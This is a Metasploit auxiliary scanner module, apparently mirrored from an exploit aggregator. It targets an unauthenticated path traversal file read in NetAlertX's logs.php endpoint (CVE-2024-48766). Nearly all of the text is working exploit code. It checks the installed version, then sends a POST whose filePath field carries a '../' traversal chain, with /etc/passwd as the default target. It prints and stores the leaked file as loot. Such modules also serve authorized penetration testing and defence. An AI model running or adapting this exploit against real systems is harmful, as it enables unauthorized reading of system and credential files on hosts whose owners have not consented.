Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-NETALERTX_FILE_READ-
class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => ' NetAlertX File Read Vulnerability',
        'Description' => %q{
          This module exploits improper authentication in logs.php endpoint. An unathenticated attacker can request log file and read any file due path traversal vulnerability.
        },
        'References' => [
          ['CVE', '2024-48766'],
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/']
        ],
        'Author' => [
          'chebuya', # Vulnerability discovery
          'msutovsky-r7' # Metasploit module
        ],
        'DisclosureDate' => '2025-01-30',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(20211),
        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
        OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'maintenance.php')
    })
    return Exploit::CheckCode::Unknown unless res&.code == 200

    html_document = res.get_html_document
    return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

    version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
    return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

    version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.7.18'), Rex::Version.new('24.9.12'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end

  def run_host(ip)
    traversal = '../' * datastore['DEPTH']
    filepath = datastore['FILEPATH']
    dummyfilename = Rex::Text.rand_text_alphanumeric(6)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/php/components/logs.php'),
      'vars_post' =>
      {
        'items' => %([{"buttons":[{"labelStringCode":"Maint_PurgeLog","event":"logManage(app.log, cleanLog)"},{"labelStringCode":"Maint_RestartServer","event":"askRestartBackend()"}],"fileName":"#{dummyfilename}","filePath":"#{traversal}#{filepath}","textAreaCssClass":"logs"}])

      }
    })

    fail_with Failure::Unreachable, 'Connection failed' unless res
    fail_with Failure::NotVulnerable, 'Unexpected response code' unless res&.code == 200
    fail_with Failure::NotVulnerable, 'Unexpected response' if res&.body.blank?

    html = res.get_html_document

    fail_with Failure::NotVulnerable, 'No HTML body' if html.blank?

    log_data = html.at('textarea')

    fail_with Failure::PayloadFailed, 'No data' if log_data&.blank? || log_data&.text&.empty?
    print_status 'Received data:'
    print_status log_data.text

    loot_path = store_loot(
      'netalert.results',
      'text/plain',
      ip,
      log_data.text,
      "netalert-#{filepath}.txt",
      'NetAlertX'
    )
    print_status "Stored results in #{loot_path}"
    report_vuln({
      host: rhost,
      port: rport,
      name: name,
      refs: references,
      info: "Module #{fullname} successfully leaked file"
    })
  end
end